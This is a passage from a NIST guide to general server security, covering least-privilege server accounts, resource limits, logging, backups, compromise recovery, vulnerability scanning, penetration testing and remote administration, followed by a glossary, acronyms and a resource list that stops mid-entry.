Server content files. It is vital that the server application executes only under a unique individual user and group identity with very restrictive access controls. New user and group identities should be established for exclusive use by the server software. The new user and new group should be independent from all other users and groups and unique. This is a prerequisite for implementing the access controls described in the following steps. During initialization, the server may have to run with root (Unix) or administrator/system (Windows) privileges; ensure that the server is configured to reduce its privileges to those of the server user after performing its initialization functions. In addition, use the server OS to limit which files can be accessed by the service processes. These processes should have read-only access to those files necessary to perform the service and should have no access to other files, such as server log files. Use server host OS access controls to enforce the following:28 Service processes are configured to run as a user with a strictly limited set of privileges (i.e., not running as root, administrator, or equivalent). Service processes can only write to server content files and directories if necessary. Temporary files created by the server software are restricted to a specified and appropriately protected subdirectory (if possible). Access to these temporary files is limited to the server processes that created the files (if possible). It may also be necessary to ensure that the server software cannot save (or, in some cases, read) files outside the specified file structure dedicated to server content. This may be a configuration choice in the server software, or it may be a choice in how the server process is controlled by the OS. Ensure that such directories and files (outside the specified directory tree) cannot be accessed both directly and through the server software. 5.3 Server Resource Constraints To mitigate the effects of certain types of DoS attacks, configure the server to limit the amount of OS resources it can consume. Some examples include\xe2\x80\x94 Installing server content on a different hard drive or logical partition than the OS and server software. 28 Derived from Klaus-Peter Kossakowski and Julia Allen, Securing Public Web Servers, 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim011.pdf. Its recommendations are specific to Web servers, but the same principles apply to any type of server. 5-3 http://www.sei.cmu.edu/pub/documents/sims/pdf/sim011.pdf GUIDE TO GENERAL SERVER SECURITY Placing a limit on the amount of hard drive space that is dedicated for uploads, if uploads to the server are allowed. Ideally, uploads should be placed on a separate partition to provide stronger assurance that the hard drive limit cannot be exceeded. If uploads are allowed to the server, ensuring that these files are not readable by the server until after some automated or manual review process is used to screen them. This measure prevents the server from being used to propagate malware or traffic pirated software, attack tools, pornography, etc. It is also possible to limit the size of each uploaded file, which could limit the potential effects of a DoS attack involving uploading many large files. Ensuring that log files are stored in a location that is sized appropriately. Ideally, log files should be stored on a separate partition. If an attack causes the size of the log files to increase beyond acceptable limits, a physical partition helps ensure the server has enough resources to handle the situation appropriately. Configuring the maximum number of server processes and/or network connections that the server should allow. To some degree, these actions protect against attacks that attempt to fill the file system on the server OS with extraneous and incorrect information that may cause the server to crash. Logging information generated by the server OS may help in recognizing such attacks. As discussed in Section 6.1, administrators should store server logs on centralized logging servers whenever possible and also store logs locally if feasible. If an attack causes the server to be compromised, the attacker could modify or erase locally stored logs to conceal information on the attack. Maintaining a copy of the logs on a centralized logging server gives administrators more information to use when investigating such a compromise. In addition to the controls mentioned above, it is often necessary to configure timeouts and other controls to further reduce the impact of certain DoS attacks. One type of DoS attack takes advantage of the practical limits on simultaneous network connections by quickly establishing connections up to the maximum permitted, such that no new legitimate users can gain access. By setting network connection timeouts (the time after which an inactive connection is dropped) to a minimum acceptable time limit, established connections will time out as quickly as possible, opening up new connections to legitimate users. This measure only mitigates the effects; it does not defeat the attack. If the maximum number of open connections (or connections that are half-open\xe2\x80\x94that is, the first part of the TCP handshake was successful) is set to a low number, an attacker can easily consume the available connections with illegitimate requests (often called a SYN flood). Setting the maximum to a much higher number may mitigate the effect of such an attack, but at the expense of consuming additional resources. Note that this is only an issue for servers that are not protected by a firewall that stops SYN flood attacks. Most enterprise-level firewalls protect servers from SYN floods by intercepting them before they reach the servers. 5.4 Selecting and Implementing Authentication and Encryption Technologies Many servers support a range of technologies for identifying and authenticating users with differing privileges for accessing information. Without user authentication, a server cannot restrict access to authorized users\xe2\x80\x94all services and information will be accessible by anyone with access to the server. In many cases, this is not acceptable. Encryption can be used to protect information traversing the connection between a server and a client. Without encryption, anyone with access to the network traffic can determine, and possibly alter, the content of sensitive information, even if the user accessing the 5-4 GUIDE TO GENERAL SERVER SECURITY information has been authenticated. This may violate the confidentiality and integrity of critical information. Organizations should periodically examine the services and information accessible on the server and determine the necessary security requirements. While doing so, the organization should identify information that shares the same security and protection requirements. For sensitive information, the organization should determine the users or user groups that should have access to each set of resources. For information that requires some level of user authentication, the organization should determine which authentication technologies or methods would provide the appropriate level of authentication and encryption. Each has its own unique benefits and costs that should be weighed carefully with client and organizational requirements and policies. It may be desirable to use some authentication methods in combination. NIST SP 800-63, Electronic Authentication Guideline, contains additional information on authentication mechanisms. Federal government organizations are required to use Federal Information Processing Standards (FIPS)- validated cryptographic implementations when using cryptography to protect stored data and data communications. The Cryptographic Module Validation Program (CMVP) performs validation testing of cryptographic modules.29 NIST provides a list of FIPS 140 compliant30 manufacturers and implementations.31 Additional information on encrypting communications is available from NIST SP 800-52, Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations, NIST SP 800-77, Guide to IPsec VPNs, and NIST SP 800-113, Guide to SSL VPNs.32 Organizations should be prepared to migrate their servers to stronger cryptographic technologies over time as weaknesses are identified in the servers\xe2\x80\x99 existing cryptographic technologies. For example, NIST has recommended that use of the Secure Hash Algorithm 1 (SHA-1) be phased out by 2010 in favor of SHA-224, SHA-256, and other larger, stronger hash functions.33 Organizations should stay aware of cryptographic requirements and recommendations and plan to update their servers accordingly. 29 http://csrc.nist.gov/groups/STM/index.html 30 As of this writing, the current version of FIPS 140 is 140-2, Security Requirements for Cryptographic Modules (http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf). FIPS 140-3 is currently available in draft (http://csrc.nist.gov/publications/PubsFIPS.html). 31 http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/1401vend.htm 32 All of these NIST SPs are available at http://csrc.nist.gov/publications/PubsSPs.html. 33 See http://csrc.nist.gov/groups/ST/hash/index.html, FIPS PUB 180-2, Secure Hash Standard, http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf, and FIPS PUB 180-3 (Draft), http://csrc.nist.gov/publications/PubsFIPS.html for additional information on hash function requirements. 5-5 http://csrc.nist.gov/groups/STM/index.html http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf http://csrc.nist.gov/publications/PubsFIPS.html http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/1401vend.htm http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/groups/ST/hash/index.html http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf http://csrc.nist.gov/publications/PubsFIPS.html GUIDE TO GENERAL SERVER SECURITY 6. Maintaining the Security of the Server After initially deploying a server, administrators need to maintain its security continuously. This section provides general recommendations for securely administering servers. Vital activities include handling and analyzing log files, performing regular server backups, recovering from server compromises, testing server security regularly, and performing remote administration securely. As discussed in Section 4, security configuration guides and checklists are publicly available for many OSs and server software; many of these documents contain OS and server-specific recommendations for security maintenance. Other maintenance activities discussed in earlier sections, and thus not duplicated here, include testing and deploying OS and server patches and updates, maintaining the secure configuration of the OS and server software, and maintaining additional security controls used for the server.34 6.1 Logging Logging is a cornerstone of a sound security posture. Capturing the correct data in the logs and then monitoring those logs closely is vital.35 Network and system logs are important, especially system logs in the case of encrypted communications, where network monitoring is less effective. Server software can provide additional log data relevant to server-specific events. Reviewing logs is mundane and reactive, and many server administrators devote their time to performing duties that they consider more important or urgent. However, log files are often the only record of suspicious behavior. Enabling the mechanisms to log information allows the logs to be used to detect failed and successful intrusion attempts and to initiate alert mechanisms when further investigation is needed. Procedures and tools need to be in place to process and analyze the log files and to review alert notifications. Server logs provide\xe2\x80\x94 Alerts to suspicious activities that require further investigation Tracking of an attacker\xe2\x80\x99s activities Assistance in the recovery of the server Assistance in post-event investigation Required information for legal proceedings. The selection and implementation of specific server software determines which actions the server administrator should perform to establish logging configurations. Some of the information contained in the steps below may not be fully applicable to all server software products. 6.1.1 Identifying Logging Capabilities and Requirements Each type of server software supports different logging capabilities. Some server software may use a single log, while other server software may use multiple logs (each for different types of records). Some 34 This includes both host-based and network-based security controls. However, in many environments, network-based security controls such as enterprise firewalls and intrusion detection systems are maintained by someone other than the server administrator. 35 For more information on logging, see NIST SP 800-92, Guide to Computer Security Log Management, which is available at http://csrc.nist.gov/publications/PubsSPs.html. 6-1 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY server software permits administrators to select from multiple log formats, such as proprietary, database, and delimiter-separated. If a server supports the execution of programs, scripts, or plug-ins, it may be necessary for the programs, scripts, or plug-ins to perform additional logging. Often, critical events take place within the application code itself and will not be logged by the server. If server administrators develop or acquire application programs, scripts, or plug-ins, it is strongly recommended that they define and implement a comprehensive and easy-to-understand logging approach based on the logging mechanisms provided by the server host OS. Log information associated with programs, scripts, and plug-ins can add significantly to the typical information logged by the server and may prove invaluable when investigating events. Ensuring that sufficient log capacity is available is a concern because logs often take considerably more space than administrators initially estimate, especially when logging is set to a highly detailed level. Administrators should closely monitor the size of the log files when they implement different logging settings to ensure that the log files do not fill up the allocated storage. Because of the size of the log files, removing and archiving the logs more frequently or reducing the logging level of detail may be necessary. Some server programs provide a capability to enforce or disable the checking of specified access controls during program startup. This level of control may be helpful, for example, to avoid inadvertent alteration of log files because of errors in file access administration. Server administrators should determine the circumstances under which they may wish to enable such checks (assuming the server software supports this feature). All servers should use time synchronization technologies, such as the Network Time Protocol (NTP), to keep their internal clocks synchronized with an accurate time source. This provides accurate timestamps for logs. 6.1.2 Reviewing and Retaining Log Files Reviewing log files is a tedious and time-consuming task that informs administrators of events that have already occurred. Accordingly, files are often useful for corroborating other evidence, such as a CPU utilization spike or anomalous network traffic reported by an IDPS. When a log is used to corroborate other evidence, a focused review is in order. For example, if an IDPS reported a suspicious outbound FTP connection from a Web server at 8:17 a.m., then a review of the logs generated around 8:17 a.m. is appropriate. Server logs should also be reviewed for indications of attacks. The frequency of the reviews depends on the following factors: Amount of traffic the server receives General threat level (certain servers receive many more attacks than other servers and thus should have their logs reviewed more frequently) Specific threats (at certain times, specific threats arise that may require more frequent log file analysis) Vulnerability of the server Value of data and services provided by the server. Reviews should take place regularly (e.g., daily) and when a suspicious activity has been noted or a threat warning has been issued. Obviously, the task could quickly become burdensome to a server 6-2 GUIDE TO GENERAL SERVER SECURITY administrator. To reduce this burden, automated log analysis tools have been developed (see Section 6.1.3). In addition, a long-term and more in-depth analysis of the logs is needed. Because a server attack can involve hundreds of unique requests, an attacker may attempt to disguise a server attack by increasing the interval between requests. In this case, reviewing a single day\xe2\x80\x99s or week\xe2\x80\x99s logs may not show recognizable trends. However, when trends are analyzed over a week, month, or quarter, multiple attacks from the same host or subnet can be more easily recognized. Log files should be protected to ensure that if an attacker does compromise a server, the log files cannot be altered to cover the attack. Although encryption can be useful in protecting log files, the best solution is to store log files on a host separate from the server. This is often called a centralized logging server. Centralized logging is often performed using syslog, which is a standard logging protocol.36 Alternately, some organizations use security information and event management (SIEM) software that uses centralized servers to perform log analysis, database servers to store logs, and either agents installed on the individual hosts or processes running on the centralized servers to transfer server logs or log data from the hosts to the servers and parse the logs.37 Log files should be backed up and archived regularly. Archiving log files for a period of time is important for several reasons, including supporting certain legal actions and troubleshooting problems with the server. The retention period for archived log files depends on a number of factors, including the following: Legal and regulatory requirements Organizational requirements Size of logs (which is directly related to the traffic of the site and the number of details logged) Value of server data and services Threat level. 6.1.3 Automated Log File Analysis Tools Many servers receive significant amounts of traffic, and the log files quickly become voluminous. Automated log analysis tools should be installed to ease the burden on server administrators. These tools analyze the entries in the server log files and identify suspicious and unusual activity. As mentioned in Section 6.1.2, some organizations use SIEM software for centralized logging, which can also perform automated log file analysis. Many commercial and public domain tools are also available to support regular analysis of particular types of server logs. The automated log analyzer should forward any suspicious events to the responsible server administrator or security incident response team as soon as possible for follow-up investigation. Some organizations 36 Syslog is defined in IETF RFC 3164, The BSD Syslog Protocol, which is available at http://www.ietf.org/rfc/rfc3164.txt. 37 More information on syslog and SIEM implementations is provided in NIST SP 800-92, Guide to Computer Security Log Management, which is available at http://csrc.nist.gov/publications/PubsSPs.html. 6-3 http://www.ietf.org/rfc/rfc3164.txt http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY may wish to use two or more log analyzers, which will reduce the risk of missing an attacker or other significant events in the log files.38 6.2 Server Backup Procedures One of the most important functions of a server administrator is to maintain the integrity of the data on the server. This is important because servers are often some of the most exposed and vital hosts on an organization\xe2\x80\x99s network. The server administrator needs to perform backups of the server on a regular basis for several reasons. A server could fail as a result of a malicious or unintentional act or a hardware or software failure. In addition, Federal agencies and many other organizations are governed by regulations on the backup and archiving of server data. Server data should also be backed up regularly for legal and financial reasons. 6.2.1 Server Data Backup Policies All organizations need to create a server data backup policy. Three main factors influence the contents of this policy: Legal requirements \xe2\x80\x93 Applicable laws and regulations (Federal, state, and international) \xe2\x80\x93 Litigation requirements Mission requirements \xe2\x80\x93 Contractual \xe2\x80\x93 Accepted practices \xe2\x80\x93 Criticality of data to organization Organizational guidelines and policies. Although each organization\xe2\x80\x99s server backup policy will be different to reflect its particular environment, it should address the following issues: Purpose of the policy Parties affected by the policy Servers covered by the policy Definitions of key terms, especially legal and technical Detailed requirements from the legal, business, and organization\xe2\x80\x99s perspective Required frequency of backups 38 Derived from Karen Kent and Murugiah Souppaya, NIST SP 800-92, Guide to Computer Security Log Management, April 2006, http://csrc.nist.gov/publications/PubsSPs.html 6-4 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY Procedures for ensuring data is properly retained and protected Procedures for ensuring data is properly destroyed or archived when no longer required Procedures for preserving information for Freedom of Information Act (FOIA) requests, legal investigations, and other such requests Responsibilities of those involved in data retention, protection, and destruction activities Retention period for each type of information logged Specific duties of a central/organizational data backup team, if one exists. 6.2.2 Server Backup Types Three primary types of backups exist: full, incremental, and differential. Full backups include the OS, applications, and data stored on the server (i.e., an image of every piece of data stored on the server hard drives). The advantage of a full backup is that it is easy to restore the entire server to the state (e.g., configuration, patch level, data) it was in when the backup was performed. The disadvantage of full backups is that they take considerable time and resources to perform. Incremental backups reduce the impact of backups by backing up only data that has changed since the previous backup (either full or incremental). Differential backups reduce the number of backup sets that must be accessed to restore a configuration by backing up all changed data since the last full backup. However, each differential backup increases as time lapses from the last full backup, requiring more processing time and storage than would an incremental backup. Generally, full backups are performed less frequently (weekly to monthly or when a significant change occurs), and incremental or differential backups are performed more frequently (daily to weekly). The frequency of backups will be determined by several factors: Volatility of information on the site \xe2\x80\x93 Static content (less frequent backups) \xe2\x80\x93 Dynamic content (more frequent backups) \xe2\x80\x93 E-commerce/e-government (very frequent backups) Volatility of configuring the server Type of data to be backed up (e.g., system, application, log, or user data) Amount of data to be backed up Backup device and media available Time available for dumping backup data Criticality of data Threat level faced by the server 6-5 GUIDE TO GENERAL SERVER SECURITY Effort required for data reconstruction without data backup Other data backup or redundancy features of the server (e.g., Redundant Array of Inexpensive Disks [RAID]). For servers with highly dynamic data, standard backups may be insufficient to ensure the availability of the server data. Some services have data modified on a continuous basis, and a server failure necessitating restoration from a backup would cause the loss of all data changes made since the previous backup. Some servers offer replication services that allow data changes from one server to be duplicated on another server, either for individual changes or small batches of changes. Replication does place additional load on servers and networks, so organizations need to weigh the costs of replication against the costs of lost availability should a server failure occur. Replication is not intended to take the place of standard backups, only to provide a capability to duplicate recent changes to data. 6.2.3 Maintain a Test Server Most organizations will probably wish to maintain a test or development server for their most important servers, at a minimum.39 Ideally, this server should have hardware and software identical to the production or live server and be located on an internal network segment (intranet) where it can be fully protected by the organization\xe2\x80\x99s perimeter network defenses. Although the cost of maintaining an additional server is not inconsequential, having a test server offers numerous advantages: It provides a platform to test new patches and service packs before application on the production server. It provides a development platform for the server administrator to develop and test new content and applications. It provides a platform to test configuration settings before applying them to production servers. Software critical for development and testing but that might represent an unacceptable security risk on the production server can be installed on the development server (e.g., software compliers, administrative tool kits, remote access software). 6.3 Recovering From a Security Compromise Most organizations eventually face a successful compromise of one or more hosts on their network. Organizations should create and document the required policies and procedures for responding to successful intrusions.40 The response procedures should outline the actions that are required to respond to a successful compromise of the server and the appropriate sequence of these actions (sequence can be critical). Most organizations already have a dedicated incident response team in place, which should be contacted immediately when there is suspicion or confirmation of a compromise. In addition, the 39 Larger organizations sometimes have several test and development servers and environments for their most critical servers and systems. For example, there could be a server for developer testing, another server for quality assurance testing, and one or more externally accessible servers for testing from business partners. 40 For more information on this area, see NIST SP 800-61 Revision 1, Computer Security Incident Handling Guide, and NIST SP 800-18 Revision 1, Guide for Developing Security Plans for Federal Information Systems (http://csrc.nist.gov/publications/PubsSPs.html). 6-6 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY organization may wish to ensure that some of its staff are knowledgeable in the fields of computer and network forensics.41 A server administrator should follow the organization\xe2\x80\x99s policies and procedures for incident handling, and the incident response team should be contacted for guidance before the organization takes any action after a suspected or confirmed security compromise. Examples of steps commonly performed after discovering a successful compromise are as follows: Report the incident to the organization\xe2\x80\x99s computer incident response capability. Isolate the compromised systems or take other steps to contain the attack so that additional information can be collected.42 Consult expeditiously, as appropriate, with management, legal counsel, and law enforcement. Investigate similar43 hosts to determine if the attacker also has compromised other systems. Analyze the intrusion, including\xe2\x80\x94 \xe2\x80\x93 The current state of the server, starting with the most ephemeral data (e.g., current network connections, memory dump, files time stamps, logged in users) \xe2\x80\x93 Modifications made to the server\xe2\x80\x99s software and configuration \xe2\x80\x93 Modifications made to the data \xe2\x80\x93 Tools or data left behind by the attacker \xe2\x80\x93 System, intrusion detection, and firewall log files. Restore the server before redeploying it. \xe2\x80\x93 Either install a clean version of the OS, applications, necessary patches, and server content; or restore the server from backups (this option can be more risky because the backups may have been made after the compromise, and restoring from a compromised backup may still allow the attacker access to the server). \xe2\x80\x93 Disable unnecessary services. \xe2\x80\x93 Apply all patches. \xe2\x80\x93 Change all passwords (including on uncompromised hosts, if their passwords are believed to have been seen by the compromised server, or if the same passwords are used on other hosts). 41 More information on computer and network forensics is available from NIST SP 800-86, Guide to Integrating Forensic Techniques Into Incident Response (http://csrc.nist.gov/publications/PubsSPs.html). 42 Isolating the server must be accomplished with great care if the organization wishes to collect evidence. Many attackers configure compromised systems to erase evidence if a compromised system is disconnected from the network or rebooted. One method to isolate a server would be to reconfigure the nearest upstream switch or router. 43 Similar hosts would include hosts that are in the same IP address range, have the same or similar passwords, share a trust relationship, and/or have the same OS and/or applications. 6-7 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY \xe2\x80\x93 Reconfigure network security elements (e.g., firewall, router, IDPS) to provide additional protection and notification. Test the server to ensure security. Reconnect the server to the network. Monitor the server and network for signs that the attacker is attempting to access the server or network again. Document lessons learned. Based on the organization\xe2\x80\x99s policy and procedures, system administrators should decide whether to reinstall the OS of a compromised server or restore it from a backup. Factors that are often considered include the following: Level of access that the attacker gained (e.g., root, user, guest, system) Type of attacker (internal or external) Purpose of compromise (e.g., Web page defacement, illegal software repository, platform for other attacks, data exfiltration) Method used for the server compromise Actions of the attacker during and after the compromise (e.g., log files, intrusion detection reports) Duration of the compromise Extent of the compromise on the network (e.g., the number of hosts compromised) Results of consultation with management and legal counsel. The lower the level of access gained by the intruder and the more the server administrator understands about the attacker\xe2\x80\x99s actions, the less risk there is in restoring from a backup and patching the vulnerability. For incidents in which there is less known about the attacker\xe2\x80\x99s actions and/or in which the attacker gains high-level access, it is recommended that the OS, server software, and other applications be reinstalled from the manufacturer\xe2\x80\x99s original distribution media and that the server data be restored only from a known good backup. If legal action is pursued, server administrators need to be aware of the guidelines for handling a host after a compromise. Consult legal counsel and relevant law enforcement authorities as appropriate. 6.4 Security Testing Servers Periodic security testing of servers is critical. Without periodic testing, there is no assurance that current protective measures are working or that the security patch applied by the server administrator is functioning as advertised. Although a variety of security testing techniques exists, vulnerability scanning is the most common. Vulnerability scanning assists a server administrator in identifying vulnerabilities and verifying whether the existing security measures are effective. Penetration testing is also used, but it 6-8 GUIDE TO GENERAL SERVER SECURITY is used less frequently and usually only as part of an overall penetration test of the organization\xe2\x80\x99s network.44 6.4.1 Vulnerability Scanning Vulnerability scanners are automated tools that are used to identify vulnerabilities and misconfigurations of hosts. Many vulnerability scanners also provide information about mitigating discovered vulnerabilities. Vulnerability scanners attempt to identify vulnerabilities in the hosts scanned. Vulnerability scanners can help identify out-of-date software versions, missing patches, or system upgrades, and they can validate compliance with or deviations from the organization\xe2\x80\x99s security policy. To accomplish this, vulnerability scanners identify OSs, server software, and other major software applications running on hosts and match them with known vulnerabilities in their vulnerability databases. However, vulnerability scanners have some significant weaknesses. Generally, they identify only surface vulnerabilities and are unable to address the overall risk level of a scanned server. Although the scan process itself is highly automated, vulnerability scanners can have a high false positive error rate (reporting vulnerabilities when none exist). Also, vulnerability scanners may not be able to recognize that compensating controls are in place that mitigate a detected vulnerability. This means an individual with expertise in server security and administration must interpret the results. Furthermore, vulnerability scanners cannot generally identify vulnerabilities in custom code or applications. Vulnerability scanners rely on periodic updating of the vulnerability database to recognize the latest vulnerabilities. Before running any scanner, server administrators should install the latest updates to its vulnerability database. Some databases are updated more regularly than others (the frequency of updates should be a major consideration when choosing a vulnerability scanner). Because of the potential negative impact of vulnerability scanning, server administrators may wish to scan test servers first with new vulnerability database updates to ascertain their impact on the servers before scanning production servers. Vulnerability scanners are often better at detecting well-known vulnerabilities than more esoteric ones because it is impossible for any one scanning product to incorporate all known vulnerabilities in a timely manner. In addition, manufacturers want to keep the speed of their scanners high (the more vulnerabilities detected, the more tests required, which slows the overall scanning process). Therefore, vulnerability scanners may be less useful to server administrators operating less popular servers, OSs, or custom-coded applications. Vulnerability scanners provide the following capabilities: Identifying active hosts on a network Identifying active services (ports) on hosts and which of these are vulnerable Identifying applications and banner grabbing Identifying OSs Identifying vulnerabilities associated with discovered OSs, server software, and other applications Testing compliance with host application usage/security policies. 44 For information about other testing techniques, see NIST SP 800-115 (Draft), Technical Guide to Information Security Testing (http://csrc.nist.gov/publications/PubsSPs.html). 6-9 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY Organizations should conduct vulnerability scanning to validate that OSs and server software are up-to- date on security patches and software versions. Vulnerability scanning is a labor-intensive activity that requires a high degree of human involvement to interpret the results. It may also be disruptive to operations by taking up network bandwidth, slowing network response times, and potentially affecting the availability of the scanned server or its applications. However, vulnerability scanning is extremely important for ensuring that vulnerabilities are mitigated as soon as possible, before they are discovered and exploited by adversaries. Vulnerability scanning should be conducted on a weekly to monthly basis. Many organizations also run a vulnerability scan whenever a new vulnerability database is released for the organization\xe2\x80\x99s scanner application. Vulnerability scanning results should be documented and discovered deficiencies should be corrected. Organizations should also consider running more than one vulnerability scanner. As previously discussed, no scanner is able to detect all known vulnerabilities; however, using two scanners generally increases the number of vulnerabilities detected. A common practice is to use one commercial and one freeware scanner. Network-based and host-based vulnerability scanners are available for free or for a fee. 6.4.2 Penetration Testing Penetration testing is \xe2\x80\x9csecurity testing in which evaluators attempt to circumvent the security features of a system based on their understanding of the system design and implementation\xe2\x80\x9d.45 The purpose of penetration testing is to exercise system protections (particularly human response to attack indications) by using common tools and techniques developed by attackers. This testing is highly recommended for complex or critical servers. Penetration testing can be an invaluable technique to any organization's information security program. However, it is a very labor-intensive activity and requires great expertise to minimize the risk to targeted systems. At a minimum, it may slow the organization's network response time because of network mapping and vulnerability scanning. Furthermore, the possibility exists that systems may be damaged or rendered inoperable in the course of penetration testing. Although this risk is mitigated by the use of experienced penetration testers, it can never be fully eliminated. Penetration testing does offer the following benefits:46 Tests the network using the same methodologies and tools employed by attackers Verifies whether vulnerabilities exist Goes beyond surface vulnerabilities and demonstrates how these vulnerabilities can be exploited iteratively to gain greater access Demonstrates that vulnerabilities are not purely theoretical Provides the \xe2\x80\x9crealism\xe2\x80\x9d necessary to address security issues Allows for testing of procedures and susceptibility of the human element to social engineering. 45 Definition from Committee on National Security Systems, National Information Assurance (IA) Glossary, CNSS Instruction No. 4009, June 2006 46 Derived from John Wack et al., NIST SP 800-42, Guideline on Network Security Testing, February 2002, http://csrc.nist.gov/publications/PubsSPs.html 6-10 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY 6.5 Remotely Administering a Server Remote administration of a server should be allowed only after careful consideration of the risks. The risk of enabling remote administration varies considerably depending on the location of the server on the network. For a server that is located behind a firewall, remote administration can be implemented relatively securely from the internal network, but not without added risk. Remote administration should generally not be allowed from a host located outside the organization\xe2\x80\x99s network unless it is performed from an organization-controlled computer through the organization\xe2\x80\x99s remote access solution, such as a VPN. If an organization determines that it is necessary to remotely administer a server, following these steps should ensure that remote administration is implemented in as secure a manner as possible: Use a strong authentication mechanism (e.g., public/private key pair, two-factor authentication). Restrict which hosts can be used to remotely administer the server. \xe2\x80\x93 Restrict by authorized users \xe2\x80\x93 Restrict by IP address (not hostname) \xe2\x80\x93 Restrict to hosts on the internal network or those using the organization\xe2\x80\x99s enterprise remote access solution. Use secure protocols that can provide encryption of both passwords and data (e.g., SSH, HTTPS); do not use less secure protocols (e.g., telnet, FTP, NFS, HTTP) unless absolutely required and tunneled over an encrypted protocol, such as SSH, SSL, or IPsec. Enforce the concept of least privilege on remote administration (e.g., attempt to minimize the access rights for the remote administration accounts). Do not allow remote administration from the Internet through the firewall unless accomplished via strong mechanisms, such as VPNs. Use remote administration protocols that support server authentication to prevent man-in-the-middle attacks. Change any default accounts or passwords for the remote administration utility or application. 6-11 GUIDE TO GENERAL SERVER SECURITY Appendix A\xe2\x80\x94Glossary Selected terms used in the publication are defined below. Availability: Ensuring that information is accessible by authorized users. Confidentiality: Protecting information from being accessed by unauthorized parties. Hardening: Configuring a host\xe2\x80\x99s operating system and applications to reduce the host\xe2\x80\x99s security weaknesses. Integrity: Ensuring the authenticity of information\xe2\x80\x94that information is not altered, and that the source of the information is genuine. Least Privilege: Offering only the required functionality to each authorized user, so that no one can use functions that are not necessary. Management Control: A security control that focuses on the management of a system or the management of risk for a system. Network Administrator: A person responsible for the overall design, implementation, and maintenance of a network. Operational Control: A security control that is primarily implemented and executed by people, rather than by systems. Patch: An update to an operating system, application, or other software issued specifically to correct particular problems with the software. Risk Assessment: The process of analyzing and interpreting risk. Risk Management: The process of selecting and implementing controls to reduce risk to a level acceptable to the organization. Security Administrator: A person dedicated to performing information security functions for servers and other hosts, as well as networks. Security Control: A protection measure for a system. Server: A host that provides one or more services for other hosts over a network as a primary function. Server Administrator: A system architect responsible for the overall design, implementation, and maintenance of a server. Server Software: Software that is run on a server to provide one or more services. Service: In the context of a server, a function that a server provides for other hosts to use. Technical Control: An automated security control employed by the system. Upgrade: A new version of an operating system, application, or other software. A-1 GUIDE TO GENERAL SERVER SECURITY Appendix B\xe2\x80\x94Acronyms and Abbreviations Acronyms and abbreviations used in this guide are defined below. 3DES Triple Data Encryption Standard AES Advanced Encryption Standard CA Certificate Authority CGI Common Gateway Interface CIO Chief Information Officer CMVP Cryptographic Module Validation Program CPU Central Processing Unit DNS Domain Name System DoD Department of Defense DoS Denial of Service FIPS Federal Information Processing Standard FISMA Federal Information Security Management Act FOIA Freedom of Information Act FTP File Transfer Protocol HTTP Hypertext Transfer Protocol HTTPS Hypertext Transfer Protocol Secure IDPS Intrusion Detection and Prevention System IETF Internet Engineering Task Force IMAP Internet Message Access Protocol IP Internet Protocol IPsec Internet Protocol Security IPv4 Internet Protocol version 4 IPv6 Internet Protocol version 6 ISP Internet Service Provider ISSO Information Systems Security Officer ISSPM Information Systems Security Program Manager IT Information Technology ITL Information Technology Laboratory LDAP Lightweight Directory Access Protocol NCP National Checklist Program NetBIOS Network Basic Input/Output System NFS Network File System NIS Network Information System NIST National Institute of Standards and Technology NTP Network Time Protocol NVD National Vulnerability Database ODBC Open Database Connectivity OMB Office of Management and Budget B-1 GUIDE TO GENERAL SERVER SECURITY OS Operating System PKI Public Key Infrastructure RAID Redundant Array of Inexpensive Disks RFC Request for Comments SHA Secure Hash Algorithm SHS Secure Hash Standard SIEM Security Information and Event Management SMTP Simple Mail Transfer Protocol SNMP Simple Network Management Protocol SP Special Publication SSH Secure Shell SSL Secure Sockets Layer TCP Transmission Control Protocol TLS Transport Layer Security URL Uniform Resource Locator VLAN Virtual Local Area Network VPN Virtual Private Network B-2 GUIDE TO GENERAL SERVER SECURITY Appendix C\xe2\x80\x94Resources The lists below provide examples of resources that may be helpful for understanding general server security. NIST Resource Sites Site Name URL Cryptographic Module Validation Program (CMVP) http://csrc.nist.gov/groups/STM/cmvp/index.html National Checklist Program (NCP) http://checklists.nist.gov/ National Vulnerability Database (NVD) http://nvd.nist.gov/ Server Security-Specific NIST Documents Document Title URL SP 800-44 Version 2, Guidelines on Securing Public Web Servers http://csrc.nist.gov/publications/nistpubs/800-44- ver2/SP800-44v2.pdf SP 800-45 Version 2, Guidelines on Electronic Mail Security http://csrc.nist.gov/publications/nistpubs/800-45- version2/SP800-45v2.pdf SP 800-81, Secure Domain Name System (DNS) Deployment Guide http://csrc.nist.gov/publications/nistpubs/800-81/SP800- 81.pdf General NIST Security Documents Document Title URL FIPS 140-2, Security Requirements for Cryptographic Modules http://csrc.nist.gov/publications/fips/fips140- 2/fips1402.pdf FIPS 140-3 (Draft), Security Requirements for Cryptographic Modules http://csrc.nist.gov/publications/PubsFIPS.html FIPS 180-2, Secure Hash Standard (SHS) http://csrc.nist.gov/publications/fips/fips180-2/fips180- 2withchangenotice.pdf FIPS 180-3 (Draft), Secure Hash Standard (SHS) http://csrc.nist.gov/publications/PubsFIPS.html FIPS 199, Standards for Security Categorization of Federal Information and Information Systems http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB- 199-final.pdf SP 800-14, Generally Accepted Principles and Practices for Securing Information Technology Systems http://csrc.nist.gov/publications/nistpubs/800-14/800- 14.pdf SP 800-18 Revision 1, Guide for Developing Security Plans for Federal Information Systems http://csrc.nist.gov/publications/nistpubs/800-18- Rev1/sp800-18-Rev1-final.pdf SP 800-23, Guidelines to Federal Organizations on Security Assurance and 